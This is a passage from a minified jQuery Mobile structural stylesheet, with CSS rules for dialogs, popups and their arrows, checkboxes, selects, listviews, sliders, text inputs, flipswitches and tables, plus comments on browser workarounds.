.ui-controlgroup-controls > label { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-dialog { background: none !important; /* this is to ensure that dialog theming does not apply (by default at least) on the page div */ } .ui-dialog-contain { width: 92.5%; max-width: 500px; margin: 10% auto 1em auto; padding: 0; position: relative; top: -1em; } .ui-dialog-contain > .ui-header, .ui-dialog-contain > .ui-content, .ui-dialog-contain > .ui-footer { display: block; position: relative; width: auto; margin: 0; } .ui-dialog-contain > .ui-header { overflow: hidden; z-index: 10; padding: 0; border-top-width: 0; } .ui-dialog-contain > .ui-footer { z-index: 10; padding: 0 1em; border-bottom-width: 0; } .ui-popup-open .ui-header-fixed, .ui-popup-open .ui-footer-fixed { position: absolute !important; /* See issues #4816, #4844 and #4874 and popup.js */ } .ui-popup-screen { background-image: url("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="); /* Necessary to set some form of background to ensure element is clickable in IE6/7. While legacy IE won't understand the data-URI'd image, it ensures no additional requests occur in all other browsers with little overhead. */ top: 0; left: 0; right: 0; bottom: 1px; position: absolute; filter: Alpha(Opacity=0); opacity: 0; z-index: 1099; } .ui-popup-screen.in { opacity: 0.5; filter: Alpha(Opacity=50); } .ui-popup-screen.out { opacity: 0; filter: Alpha(Opacity=0); } .ui-popup-container { z-index: 1100; display: inline-block; position: absolute; padding: 0; outline: 0; } .ui-popup { position: relative; } .ui-popup.ui-body-inherit { border-width: 1px; border-style: solid; } .ui-popup-hidden { left: 0; top: 0; position: absolute !important; visibility: hidden; } .ui-popup-truncate { height: 1px; width: 1px; margin: -1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-popup.ui-content, .ui-popup .ui-content { overflow: visible; } .ui-popup > .ui-header { border-top-width: 0; } .ui-popup > .ui-footer { border-bottom-width: 0; } .ui-popup > p, .ui-popup > h1, .ui-popup > h2, .ui-popup > h3, .ui-popup > h4, .ui-popup > h5, .ui-popup > h6 { margin: .5em .4375em; } .ui-popup > span { display: block; margin: .5em .4375em; } .ui-popup-container .ui-content > p, .ui-popup-container .ui-content > h1, .ui-popup-container .ui-content > h2, .ui-popup-container .ui-content > h3, .ui-popup-container .ui-content > h4, .ui-popup-container .ui-content > h5, .ui-popup-container .ui-content > h6 { margin: .5em 0; } .ui-popup-container .ui-content > span { margin: 0; } .ui-popup-container .ui-content > p:first-child, .ui-popup-container .ui-content > h1:first-child, .ui-popup-container .ui-content > h2:first-child, .ui-popup-container .ui-content > h3:first-child, .ui-popup-container .ui-content > h4:first-child, .ui-popup-container .ui-content > h5:first-child, .ui-popup-container .ui-content > h6:first-child { margin-top: 0; } .ui-popup-container .ui-content > p:last-child, .ui-popup-container .ui-content > h1:last-child, .ui-popup-container .ui-content > h2:last-child, .ui-popup-container .ui-content > h3:last-child, .ui-popup-container .ui-content > h4:last-child, .ui-popup-container .ui-content > h5:last-child, .ui-popup-container .ui-content > h6:last-child { margin-bottom: 0; } .ui-popup > img { max-width: 100%; max-height: 100%; vertical-align: middle; } .ui-popup:not(.ui-content) > img:only-child, .ui-popup:not(.ui-content) > .ui-btn-left:first-child + img:last-child, .ui-popup:not(.ui-content) > .ui-btn-right:first-child + img:last-child { -webkit-border-radius: inherit; border-radius: inherit; } .ui-popup iframe { vertical-align: middle; } .ui-popup > .ui-btn-left, .ui-popup > .ui-btn-right { position: absolute; top: -11px; margin: 0; z-index: 1101; } .ui-popup > .ui-btn-left { left: -11px; } .ui-popup > .ui-btn-right { right: -11px; } /* Dimensions related to the popup arrow -----------------------------------------------------------------------------------------------------------*/ /* desired triangle height: 10px */ /** * guide for the arrow - its width, height, and offset are theme-dependent and * should be expessed as left, right, top, bottom, so that the element bearing * such a class becomes stretched inside its parent position: relative element. * The left/top/right/bottom specified below should reflect the corresponding * border radii and so it leaves room for the shadow: * ..--------------------.. * ." ^ top ". * / v \ * | +------------------+ | * | | | | * | left| |right| * |<--->| |<--->| * | +------------------+ | * \ ^ / * `. v bottom .' * ""--------------------"" * The idea is that the top/left of the arrow container box does not move to a * coordinate smaller than the top/left of the guide and the right/bottom of * the arrow container box does not move to a coordinate larger than the * bottom/right of the guide. This will help us avoid the following situation: * ..--------------------.. * ." ^ top ". * /|/ v \ * / | +------------------+ | * \ | | | | * \| left| |right| * |<--->| |<--->| * | +------------------+ | * \ ^ / * `. v bottom .' * ""--------------------"" * The arrow should not receive a top/left coordinate such that it is too close * to one of the corners, because then at first the shadow of the arrow and, * given a coordinate even closer to the corner, even the body of the arrow will * "stick out" of the corner of the popup. The guide provides a hint to the * arrow positioning code as to which range of values is acceptable for the * arrow container's top/left coordinate. **/ .ui-popup-arrow-container { width: 20px; height: 20px; } /* aside from the "infinities" (-1000,2000), triangle height is used */ .ui-popup-arrow-container.ui-popup-arrow-l { left: -10px; clip: rect(-1000px,10px,2000px,-1000px); } .ui-popup-arrow-container.ui-popup-arrow-t { top: -10px; clip: rect(-1000px,2000px,10px,-1000px); } .ui-popup-arrow-container.ui-popup-arrow-r { right: -10px; clip: rect(-1000px,2000px,2000px,10px); } .ui-popup-arrow-container.ui-popup-arrow-b { bottom: -10px; clip: rect(10px,2000px,1000px,-1000px); } /** * For each side, the arrow is twice the desired size and its corner is aligned * with the edge of the container: * * /\ /\ +----+ /\ * / \ / \ | /\ |top / \ * +----+ \ / +----+ +-->|/ \| / \ * left| / | \ / | \ |right | | | / \ * |/ | \ / | \| | /| |\ / \ * |\ | / \ | /| | / +----+ \ \ +----+ / * | \ | / \ | / | | \ / \| |/ * +----+ / \ +----+ | \ / | | * ^ \ / \ / ^ | \ / +->|\ /| * | \/ \/ | | \ / | | \/ |bottom * | | | \/ | +----+ * +-------------------+--------+-----------+ * | * arrow container * (clips arrow) **/ .ui-popup-arrow-container .ui-popup-arrow { /* (4*desired triangle height)/sqrt(2) - does not account for border - centred within the outer rectangle */ width: 28.284271247px; height: 28.284271247px; border-width: 1px; border-style: solid; } .ui-popup-arrow-container.ui-popup-arrow-t .ui-popup-arrow { left: -4.142135623px; top: 5.857864376px; } .ui-popup-arrow-container.ui-popup-arrow-b .ui-popup-arrow { left: -4.142135623px; top: -14.142135623px; } .ui-popup-arrow-container.ui-popup-arrow-l .ui-popup-arrow { left: 5.857864376px; top: -4.142135623px; } .ui-popup-arrow-container.ui-popup-arrow-r .ui-popup-arrow { left: -14.142135623px; top: -4.142135623px; } /* Fix rotation center for oldIE - see http://www.useragentman.com/IETransformsTranslator/ */ .ui-popup-arrow-container.ui-popup-arrow-t.ie .ui-popup-arrow { margin-left: -5.857864376269049px; margin-top: -7.0710678118654755px; } .ui-popup-arrow-container.ui-popup-arrow-b.ie .ui-popup-arrow { margin-left: -5.857864376269049px; margin-top: -4.142135623730951px; } .ui-popup-arrow-container.ui-popup-arrow-l.ie .ui-popup-arrow { margin-left: -7.0710678118654755px; margin-top: -5.857864376269049px; } .ui-popup-arrow-container.ui-popup-arrow-r.ie .ui-popup-arrow { margin-left: -4.142135623730951px; margin-top: -5.857864376269049px; } /* structure */ .ui-popup > .ui-popup-arrow-guide { position: absolute; left: 0; right: 0; top: 0; bottom: 0; visibility: hidden; } .ui-popup-arrow-container { position: absolute; } .ui-popup-arrow { -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); position: absolute; overflow: hidden; box-sizing: border-box; } .ui-popup-arrow-container.ie .ui-popup-arrow { -ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=0.7071067811865474, M12=-0.7071067811865477, M21=0.7071067811865477, M22=0.7071067811865474, SizingMethod='auto expand')"; filter: progid:DXImageTransform.Microsoft.Matrix( M11=0.7071067811865474, M12=-0.7071067811865477, M21=0.7071067811865477, M22=0.7071067811865474, SizingMethod='auto expand'); } .ui-checkbox, .ui-radio { margin: .5em 0; position: relative; } .ui-checkbox .ui-btn, .ui-radio .ui-btn { margin: 0; text-align: left; white-space: normal; /* Nowrap + ellipsis doesn't work on label. Issue #1419. */ z-index: 2; } .ui-controlgroup .ui-checkbox .ui-btn.ui-focus, .ui-controlgroup .ui-radio .ui-btn.ui-focus { z-index: 3; } .ui-checkbox .ui-btn-icon-top, .ui-radio .ui-btn-icon-top, .ui-checkbox .ui-btn-icon-bottom, .ui-radio .ui-btn-icon-bottom { text-align: center; } .ui-controlgroup-horizontal .ui-checkbox .ui-btn:after, .ui-controlgroup-horizontal .ui-radio .ui-btn:after { content: none; display: none; } /* Native input positioning */ .ui-checkbox input, .ui-radio input { position: absolute; left: .466em; top: 50%; width: 22px; height: 22px; margin: -11px 0 0 0; outline: 0 !important; z-index: 1; } .ui-controlgroup-horizontal .ui-checkbox input, .ui-controlgroup-horizontal .ui-radio input { left: 50%; margin-left: -9px; } .ui-checkbox input:disabled, .ui-radio input:disabled { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-select { margin-top: .5em; margin-bottom: .5em; /* no shorthand for margin because it would override margin-right for inline selects */ position: relative; } .ui-select > select { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-select .ui-btn { margin: 0; opacity: 1; /* Fixes #2588: When Windows Phone 7.5 (Mango) tries to calculate a numeric opacity for a select (including "inherit") without explicitly specifying an opacity on the parent to give it context, a bug appears where clicking elsewhere on the page after opening the select will open the select again. */ } .ui-select .ui-btn select { position: absolute; top: 0; left: 0; width: 100%; min-height: 1.5em; min-height: 100%; height: 3em; max-height: 100%; outline: 0; -webkit-border-radius: inherit; border-radius: inherit; -webkit-appearance: none; -moz-appearance: none; cursor: pointer; filter: Alpha(Opacity=0); opacity: 0; z-index: 2; } @-moz-document url-prefix() { .ui-select .ui-btn select { opacity: 0.0001; } } /* Display none because of issues with IE/WP's filter alpha opacity */ .ui-select .ui-state-disabled select { display: none; } /* Because we add all classes of the select and option elements to the span... */ .ui-select span.ui-state-disabled { filter: Alpha(Opacity=100); opacity: 1; } .ui-select .ui-btn.ui-select-nativeonly { border-radius: 0; border: 0; } .ui-select .ui-btn.ui-select-nativeonly select { opacity: 1; text-indent: 0; display: block; } /* ui-li-count is styled in the listview CSS. We set padding and offset here because select supports icon position while listview doesn't. */ .ui-select .ui-li-has-count.ui-btn { padding-right: 2.8125em; } .ui-select .ui-li-has-count.ui-btn-icon-right { padding-right: 4.6875em; } .ui-select .ui-btn-icon-right .ui-li-count { right: 3.2em; } /* We set the rules for the span as well to fix an issue on Chrome with text-overflow ellipsis for the button in combination with text-align center. */ .ui-select .ui-btn > span:not(.ui-li-count) { display: block; text-overflow: ellipsis; overflow: hidden !important; white-space: nowrap; } .ui-selectmenu.ui-popup { min-width: 11em; } .ui-selectmenu .ui-dialog-contain { overflow: hidden; } .ui-selectmenu .ui-header { margin: 0; padding: 0; border-width: 0; } .ui-selectmenu.ui-dialog .ui-header { z-index: 1; position: relative; } .ui-selectmenu.ui-popup .ui-header { -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; } /* when no placeholder is defined in a multiple select, the header height doesn't even extend past the close button. this shim's content in there */ .ui-selectmenu.ui-popup .ui-header h1:after { content: '.'; visibility: hidden; } .ui-selectmenu .ui-header .ui-title { margin: 0 2.875em; } .ui-selectmenu.ui-dialog .ui-content { overflow: visible; z-index: 1; } .ui-selectmenu .ui-selectmenu-list { margin: 0; -webkit-border-radius: inherit; border-radius: inherit; } .ui-header:not(.ui-screen-hidden) + .ui-selectmenu-list { -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-top-left-radius: 0; border-top-left-radius: 0; } .ui-header.ui-screen-hidden + .ui-selectmenu-list li.ui-first-child .ui-btn { border-top-width: 0; } .ui-selectmenu .ui-selectmenu-list li.ui-last-child .ui-btn { border-bottom-width: 0; } .ui-selectmenu .ui-btn.ui-li-divider { cursor: default; } .ui-selectmenu .ui-selectmenu-placeholder { display: none; } .ui-listview, .ui-listview > li { margin: 0; padding: 0; list-style: none; } .ui-content .ui-listview, .ui-panel-inner > .ui-listview { margin: -1em; } .ui-content .ui-listview-inset, .ui-panel-inner > .ui-listview-inset { margin: 1em 0; } .ui-collapsible-content > .ui-listview { margin: -.5em -1em; } .ui-collapsible-content > .ui-listview-inset { margin: .5em 0; } .ui-listview > li { display: block; position: relative; overflow: visible; } .ui-listview > .ui-li-static, .ui-listview > .ui-li-divider, .ui-listview > li > a.ui-btn { margin: 0; display: block; position: relative; text-align: left; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview > li > .ui-btn:focus { z-index: 1; } .ui-listview > .ui-li-static, .ui-listview > .ui-li-divider, .ui-listview > li > a.ui-btn { border-width: 1px 0 0 0; border-style: solid; } .ui-listview-inset > .ui-li-static, .ui-listview-inset > .ui-li-divider, .ui-listview-inset > li > a.ui-btn { border-right-width: 1px; border-left-width: 1px; } .ui-listview > .ui-li-static.ui-last-child, .ui-listview > .ui-li-divider.ui-last-child, .ui-listview > li.ui-last-child > a.ui-btn { border-bottom-width: 1px; } .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn { border-top-width: 0; } .ui-collapsible-themed-content .ui-listview:not(.ui-listview-inset) > li.ui-last-child, .ui-collapsible-themed-content .ui-listview:not(.ui-listview-inset) > li.ui-last-child > a.ui-btn { border-bottom-width: 0; } .ui-listview > li.ui-first-child, .ui-listview > li.ui-first-child > a.ui-btn { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-listview > li.ui-last-child, .ui-listview > li.ui-last-child > a.ui-btn { -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-listview > li.ui-li-has-alt > a.ui-btn { -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; } .ui-listview > li.ui-first-child > a.ui-btn + a.ui-btn { -webkit-border-top-left-radius: 0; border-top-left-radius: 0; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-listview > li.ui-last-child > a.ui-btn + a.ui-btn { -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-listview > li.ui-first-child img:first-child:not(.ui-li-icon) { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-listview > li.ui-last-child img:first-child:not(.ui-li-icon) { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) { -webkit-border-radius: inherit; border-radius: inherit; } .ui-listview > .ui-li-static { padding: .7em 1em; } .ui-listview > .ui-li-divider { padding: .5em 1.143em; font-size: 14px; font-weight: bold; cursor: default; outline: 0; /* Dividers in custom selectmenus have tabindex */ } .ui-listview > .ui-li-has-count > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-count, .ui-listview > .ui-li-divider.ui-li-has-count { padding-right: 2.8125em; } .ui-listview > .ui-li-has-count > .ui-btn-icon-right { padding-right: 4.6875em; } .ui-listview > .ui-li-has-thumb > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-thumb { min-height: 3.625em; padding-left: 6.25em; } /* ui-li-has-icon deprecated in 1.4. TODO: remove in 1.5 */ .ui-listview > .ui-li-has-icon > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-icon { min-height: 1.25em; padding-left: 2.5em; } /* Used by both listview and custom multiple select button */ .ui-li-count { position: absolute; font-size: 12.5px; font-weight: bold; text-align: center; border-width: 1px; border-style: solid; padding: 0 .48em; line-height: 1.6em; min-height: 1.6em; min-width: .64em; right: .8em; top: 50%; margin-top: -.88em; } .ui-listview .ui-btn-icon-right .ui-li-count { right: 3.2em; } .ui-listview .ui-li-has-thumb > img:first-child, .ui-listview .ui-li-has-thumb > .ui-btn > img:first-child, .ui-listview .ui-li-has-thumb .ui-li-thumb { position: absolute; left: 0; top: 0; max-height: 5em; max-width: 5em; } /* ui-li-has-icon deprecated in 1.4. TODO: remove in 1.5 */ .ui-listview > .ui-li-has-icon > img:first-child, .ui-listview > .ui-li-has-icon > .ui-btn > img:first-child { position: absolute; left: .625em; top: .9em; max-height: 1em; max-width: 1em; } .ui-listview > li h1, .ui-listview > li h2, .ui-listview > li h3, .ui-listview > li h4, .ui-listview > li h5, .ui-listview > li h6 { font-size: 1em; font-weight: bold; display: block; margin: .45em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview > li p { font-size: .75em; font-weight: normal; display: block; margin: .6em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview .ui-li-aside { position: absolute; top: 1em; right: 3.333em; margin: 0; text-align: right; } .ui-listview > li.ui-li-has-alt > .ui-btn { margin-right: 2.5em; border-right-width: 0; } .ui-listview > li.ui-li-has-alt > .ui-btn + .ui-btn { position: absolute; width: 2.5em; height: 100%; min-height: auto; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border-left-width: 1px; top: 0; right: 0; margin: 0; padding: 0; z-index: 2; } .ui-listview-inset > li.ui-li-has-alt > .ui-btn + .ui-btn { border-right-width: 1px; } .ui-listview > li.ui-li-has-alt > .ui-btn + .ui-btn:focus { z-index: 3; } ol.ui-listview, ol.ui-listview > .ui-li-divider { counter-reset: listnumbering; } ol.ui-listview > li > .ui-btn, ol.ui-listview > li.ui-li-static { vertical-align: middle; } ol.ui-listview > li > .ui-btn:first-child:before, ol.ui-listview > li.ui-li-static:before, ol.ui-listview > li.ui-field-contain > label:before, ol.ui-listview > li.ui-field-contain > .ui-controlgroup-label:before { display: inline-block; font-size: .9em; font-weight: normal; padding-right: .3em; min-width: 1.4em; line-height: 1.5; vertical-align: middle; counter-increment: listnumbering; content: counter(listnumbering) "."; } ol.ui-listview > li.ui-field-contain:before { content: none; display: none; } ol.ui-listview > li h1:first-child, ol.ui-listview > li h2:first-child, ol.ui-listview > li h3:first-child, ol.ui-listview > li h4:first-child, ol.ui-listview > li h5:first-child, ol.ui-listview > li h6:first-child, ol.ui-listview > li p:first-child, ol.ui-listview > li img:first-child + * { display: inline-block; vertical-align: middle; } ol.ui-listview > li h1:first-child ~ *, ol.ui-listview > li h2:first-child ~ *, ol.ui-listview > li h3:first-child ~ *, ol.ui-listview > li h4:first-child ~ *, ol.ui-listview > li h5:first-child ~ *, ol.ui-listview > li h6:first-child ~ *, ol.ui-listview > li p:first-child ~ *, ol.ui-listview > li img:first-child + * ~ * { margin-top: 0; text-indent: 2.04em; /* (1.4em + .3em) * .9em / .75em */ } html .ui-filterable + .ui-listview, html .ui-filterable.ui-listview { margin-top: .5em; } .ui-collapsible-content > form.ui-filterable { margin-top: -.5em; } .ui-collapsible-content > .ui-input-search.ui-filterable { margin-top: 0; } .ui-collapsible-content > .ui-filterable + .ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-filterable + .ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn, .ui-collapsible-content > .ui-filterable.ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-filterable.ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn { border-top-width: 1px; } div.ui-slider { height: 30px; margin: .5em 0; padding: 0; -ms-touch-action: pan-y pinch-zoom double-tap-zoom; } div.ui-slider:before, div.ui-slider:after { content: ""; display: table; } div.ui-slider:after { clear: both; } input.ui-slider-input { display: block; float: left; font-size: 14px; font-weight: bold; margin: 0; padding: 4px; width: 40px; height: 20px; line-height: 20px; border-width: 1px; border-style: solid; outline: 0; text-align: center; vertical-align: text-bottom; -webkit-appearance: none; -moz-appearance: none; appearance: none; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } .ui-slider-input::-webkit-outer-spin-button, .ui-slider-input::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0; } .ui-slider-track { position: relative; overflow: visible; border-width: 1px; border-style: solid; height: 15px; margin: 0 15px 0 68px; top: 6px; } .ui-slider-track.ui-mini { height: 12px; top: 8px; } .ui-slider-track .ui-slider-bg { height: 100%; } /* High level of specificity to override button margins in grids */ .ui-slider-track .ui-btn.ui-slider-handle { position: absolute; z-index: 1; top: 50%; width: 28px; height: 28px; margin: -15px 0 0 -15px; outline: 0; padding: 0; } .ui-slider-track.ui-mini .ui-slider-handle { height: 14px; width: 14px; margin: -8px 0 0 -8px; } select.ui-slider-switch { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } div.ui-slider-switch { display: inline-block; height: 32px; width: 5.8em; top: 0; } /* reset the clearfix */ div.ui-slider-switch:before, div.ui-slider-switch:after { display: none; clear: none; } div.ui-slider-switch.ui-mini { height: 29px; top: 0; } .ui-slider-inneroffset { margin: 0 16px; position: relative; z-index: 1; } .ui-slider-switch.ui-mini .ui-slider-inneroffset { margin: 0 15px 0 14px; } .ui-slider-switch .ui-btn.ui-slider-handle { margin: 1px 0 0 -15px; } .ui-slider-switch.ui-mini .ui-slider-handle { width: 25px; height: 25px; margin: 1px 0 0 -13px; padding: 0; } .ui-slider-handle-snapping { -webkit-transition: left 70ms linear; -moz-transition: left 70ms linear; transition: left 70ms linear; } .ui-slider-switch .ui-slider-label { position: absolute; text-align: center; width: 100%; overflow: hidden; font-size: 16px; top: 0; line-height: 2; min-height: 100%; white-space: nowrap; cursor: pointer; } .ui-slider-switch.ui-mini .ui-slider-label { font-size: 14px; } .ui-slider-switch .ui-slider-label-a { z-index: 1; left: 0; text-indent: -1.5em; } .ui-slider-switch .ui-slider-label-b { z-index: 0; right: 0; text-indent: 1.5em; } /* The corner radii for ui-slider-switch/track can be specified in theme CSS. The bg and handle inherits. */ .ui-slider-track .ui-slider-bg, .ui-slider-switch .ui-slider-label, .ui-slider-switch .ui-slider-inneroffset, .ui-slider-handle { -webkit-border-radius: inherit; border-radius: inherit; } .ui-field-contain div.ui-slider-switch { margin: 0; } /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-field-contain div.ui-slider-switch, .ui-field-contain.ui-hide-label div.ui-slider-switch, html .ui-popup .ui-field-contain div.ui-slider-switch { display: inline-block; width: 5.8em; } /* slider tooltip -----------------------------------------------------------------------------------------------------------*/ .ui-slider-popup { width: 64px; height: 64px; font-size: 36px; padding-top: 14px; opacity: 0.8; } .ui-slider-popup { position: absolute !important; text-align: center; z-index: 100; } .ui-slider-track .ui-btn.ui-slider-handle { font-size: .9em; line-height: 30px; } .ui-rangeslider { margin: .5em 0; } .ui-rangeslider:before, .ui-rangeslider:after { content: ""; display: table; } .ui-rangeslider:after { clear: both; } .ui-rangeslider .ui-slider-input.ui-rangeslider-last { float: right; } .ui-rangeslider .ui-rangeslider-sliders { position: relative; overflow: visible; height: 30px; margin: 0 68px; } .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track { position: absolute; top: 6px; right: 0; left: 0; margin: 0; } .ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track { top: 8px; } .ui-rangeslider .ui-slider-track:first-child .ui-slider-bg { display: none; } .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track:first-child { background-color: transparent; background: none; border-width: 0; height: 0; } /* this makes ie6 and ie7 set height to 0 to fix z-index problem */ html >/**/body .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track:first-child { height: 15px; border-width: 1px; } html >/**/body .ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track:first-child { height: 12px; } /* Hide the second label (the first is moved outside the div) */ div.ui-rangeslider label { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-field-contain .ui-rangeslider input.ui-slider-input, .ui-field-contain .ui-rangeslider.ui-mini input.ui-slider-input, .ui-field-contain .ui-rangeslider .ui-rangeslider-sliders, .ui-field-contain .ui-rangeslider.ui-mini .ui-rangeslider-sliders { margin-top: 0; margin-bottom: 0; } .ui-input-text, .ui-input-search { margin: .5em 0; border-width: 1px; border-style: solid; } .ui-mini { margin: .446em; } .ui-input-text input, .ui-input-search input, textarea.ui-input-text { padding: .4em; line-height: 1.4em; display: block; width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; outline: 0; } .ui-input-text input, .ui-input-search input { margin: 0; min-height: 2.2em; text-align: left; /* Opera aligns type="date" right by default */ border: 0; background: transparent none; -webkit-appearance: none; -webkit-border-radius: inherit; border-radius: inherit; } textarea.ui-input-text { overflow: auto; resize: vertical; } .ui-mini .ui-input-text input, .ui-mini .ui-input-search input, .ui-input-text.ui-mini input, .ui-input-search.ui-mini input, .ui-mini textarea.ui-input-text, textarea.ui-mini { font-size: 14px; } /* Same margin for mini textareas as other mini sized widgets (12.5/14 * 0.5em) */ .ui-mini textarea.ui-input-text, textarea.ui-mini { margin: .446em 0; } .ui-input-has-clear, .ui-input-search { position: relative; } /* Padding on the div instead of input because of browser spinners etc. */ .ui-input-has-clear { padding-right: 2.375em; } .ui-mini.ui-input-has-clear { padding-right: 2.923em; } .ui-input-has-clear input { padding-right: 0; /* Autofill on Chrome has bg color so we unset corners right as well. */ -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; } /* Search icon */ .ui-input-search input { padding-left: 1.75em; } .ui-input-search:after { position: absolute; left: .3125em; top: 50%; margin-top: -7px; content: ""; background-position: center center; background-repeat: no-repeat; width: 14px; height: 14px; filter: Alpha(Opacity=50); opacity: .5; } .ui-input-search.ui-input-has-clear .ui-btn.ui-input-clear, .ui-input-text.ui-input-has-clear .ui-btn.ui-input-clear { position: absolute; right: 0; top: 50%; margin: -14px .3125em 0; border: 0; background-color: transparent; } .ui-input-search .ui-input-clear-hidden, .ui-input-text .ui-input-clear-hidden { display: none; } /* Resolves issue #5166: Added to support issue introduced in Firefox 15. We can likely remove this in the future. */ .ui-input-text input::-moz-placeholder, .ui-input-search input::-moz-placeholder, textarea.ui-input-text::-moz-placeholder { color: #aaa; } /* Same for IE10 */ .ui-input-text input:-ms-input-placeholder, .ui-input-search input:-ms-input-placeholder, textarea.ui-input-text:-ms-input-placeholder { color: #aaa; } /* Resolves issue #5131: Width of textinput depends on its type, for Android 4.1 */ .ui-input-text input[type=number]::-webkit-outer-spin-button { margin: 0; } /* Resolves issue #5756: Textinput in IE10 has a default clear button */ .ui-input-text input::-ms-clear, .ui-input-search input::-ms-clear { display: none; } .ui-input-text input:focus, .ui-input-search input:focus { -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } textarea.ui-input-text.ui-textinput-autogrow { overflow: hidden; } .ui-textinput-autogrow-resize { -webkit-transition: height 0.25s; -o-transition: height 0.25s; -moz-transition: height 0.25s; transition: height 0.25s; } .ui-flipswitch { display: inline-block; vertical-align: middle; width: 5.875em; /* Override this and padding-left in next rule if you use labels other than "on/off" and need more space */ height: 1.875em; border-width: 1px; border-style: solid; margin: .5em 0; overflow: hidden; -webkit-transition-property: padding, width, background-color, color, border-color; -moz-transition-property: padding, width, background-color, color, border-color; -o-transition-property: padding, width, background-color, color, border-color; transition-property: padding, width, background-color, color, border-color; -webkit-transition-duration: 100ms; -moz-transition-duration: 100ms; -o-transition-duration: 100ms; transition-duration: 100ms; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; cursor: pointer; } .ui-flipswitch.ui-flipswitch-active { padding-left: 4em; /* Override this and width in previous rule if you use labels other than "on/off" and need more space */ width: 1.875em; } .ui-flipswitch-input { position: absolute; height: 1px; width: 1px; margin: -1px; overflow: hidden; clip: rect(1px,1px,1px,1px); border: 0; outline: 0; filter: Alpha(Opacity=0); opacity: 0; } .ui-flipswitch .ui-btn.ui-flipswitch-on, .ui-flipswitch .ui-flipswitch-off { float: left; height: 1.75em; margin: .0625em; line-height: 1.65em; } .ui-flipswitch .ui-btn.ui-flipswitch-on { width: 1.75em; padding: 0; text-indent: -2.6em; /* Override this to center text if you use a label other than "on" */ text-align: left; border-width: 1px; border-style: solid; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border-radius: inherit; overflow: visible; color: inherit; text-shadow: inherit; } .ui-flipswitch .ui-flipswitch-off { padding: 1px; text-indent: 1em; /* Override this to center text if you use a label other than "off" */ } /* Override field container CSS to prevent the flipswitch from becomming full width */ html .ui-field-contain > label + .ui-flipswitch, html .ui-popup .ui-field-contain > label + .ui-flipswitch { display: inline-block; width: 5.875em; /* If you override the width for .ui-flipswitch you should repeat the same value here */ -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } .ui-field-contain .ui-flipswitch.ui-flipswitch-active, .ui-popup .ui-field-contain .ui-flipswitch.ui-flipswitch-active { width: 1.875em; } .ui-table { border: 0; border-collapse: collapse; padding: 0; width: 100%; } .ui-table th, .ui-table td { line-height: 1.5em; text-align: left; padding: .4em .5em; vertical-align:top; } .ui-table th .ui-btn, .ui-table td .ui-btn { line-height: normal; } .ui-table th { font-weight: bold; } .ui-table caption { text-align: left; margin-bottom: 1.4em; opacity: .5; } /* Styles for the table columntoggle mode */ .ui-table-columntoggle-btn { float: right; margin-bottom: .8em; } /* Remove top/bottom margins around the fieldcontain on check list */ .ui-table-columntoggle-popup fieldset { margin:0; } .ui-table-columntoggle { clear: both; } /* Hide all prioritized columns by default */ @media only all { th.ui-table-priority-6, td.ui-table-priority-6, 